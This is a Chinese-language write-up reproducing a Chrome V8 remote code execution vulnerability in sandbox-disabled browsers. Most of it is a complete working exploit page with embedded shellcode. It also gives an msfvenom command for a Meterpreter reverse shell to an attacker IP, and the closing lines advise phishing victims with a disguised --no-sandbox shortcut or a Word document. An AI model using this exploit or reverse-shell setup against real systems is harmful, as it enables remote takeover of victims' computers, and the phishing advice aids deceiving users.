漏洞描述
Google Chrome是由Google开发的免费网页浏览器，大量采用Chrome内核的浏览器同样也会受此漏洞影响。攻击者利用此漏洞，可以构造一个恶意的web页面，当用户访问该页面时，会造成远程代码执行。
由于Chrome浏览器会默认开启沙盒，可以拦截利用该漏洞发起的攻击，所以一般用户不会受到影响。
影响版本
Google Chrome <= 89.0.4389.114
使用Chrome内核的其它浏览器，也会受到此漏洞影响。
这里尝试太低版本也复现不成功,80版的一般可以,且有如下几个限制
- 32位的系统不能复现
- 32位的chrome不能复现
- server版没能复现
漏洞复现
利用条件
chrome开启--no-sandbox，即以无沙盒模式启动
弹记事本
POC
<html lang="en"> <head> <meta charset="UTF-8"> <title>test</title> <script> function gc() { for (var i = 0; i < 0x80000; ++i) { var a = new ArrayBuffer(); } } let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00]; var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var main = wasmInstance.exports.main; var bf = new ArrayBuffer(8); var bfView = new DataView(bf); function fLow(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(0, true)); } function fHi(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(4, true)) } function i2f(low, hi) { bfView.setUint32(0, low, true); bfView.setUint32(4, hi, true); return bfView.getFloat64(0, true); } function f2big(f) { bfView.setFloat64(0, f, true); return bfView.getBigUint64(0, true); } function big2f(b) { bfView.setBigUint64(0, b, true); return bfView.getFloat64(0, true); } class LeakArrayBuffer extends ArrayBuffer { constructor(size) { super(size); this.slot = 0xb33f; } } function foo(a) { let x = -1; if (a) x = 0xFFFFFFFF; var arr = new Array(Math.sign(0 - Math.max(0, x, -1))); arr.shift(); let local_arr = Array(2); local_arr[0] = 5.1;//4014666666666666 let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 arr[0] = 0x1122; return [arr, local_arr, buff]; } for (var i = 0; i < 0x10000; ++i) foo(false); gc(); gc(); [corrput_arr, rwarr, corrupt_buff] = foo(true); corrput_arr[12] = 0x22444; delete corrput_arr; function setbackingStore(hi, low) { rwarr[4] = i2f(fLow(rwarr[4]), hi); rwarr[5] = i2f(low, fHi(rwarr[5])); } function leakObjLow(o) { corrupt_buff.slot = o; return (fLow(rwarr[9]) - 1); } let corrupt_view = new DataView(corrupt_buff); let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); let idx0Addr = corrupt_buffer_ptr_low - 0x10; let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; let delta = baseAddr + 0x1c - idx0Addr; if ((delta % 8) == 0) { let baseIdx = delta / 8; this.base = fLow(rwarr[baseIdx]); } else { let baseIdx = ((delta - (delta % 8)) / 8); this.base = fHi(rwarr[baseIdx]); } let wasmInsAddr = leakObjLow(wasmInstance); setbackingStore(wasmInsAddr, this.base); let code_entry = corrupt_view.getFloat64(13 * 8, true); setbackingStore(fLow(code_entry), fHi(code_entry)); for (let i = 0; i < shellcode.length; i++) { corrupt_view.setUint8(i, shellcode[i]); } main(); </script> </head> </html>
python起个http服务分享poc页面
靶机访问该网页即可调用本地的计算器程序
msf上线
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.18.130 LPORT=8848 -f num
将修改后的shellcode替换到弹记事本poc中shellcode处
成功上线
检查沙箱状态
chrome://sandbox
快捷上线
快捷方式右键-属性-快捷方式-目标 处加上--no-sandbox 利用页面url
打开该快捷方式即上线
在实际钓鱼中，可通过修改图标/配合图文/插入到word中等诱导受害者点击
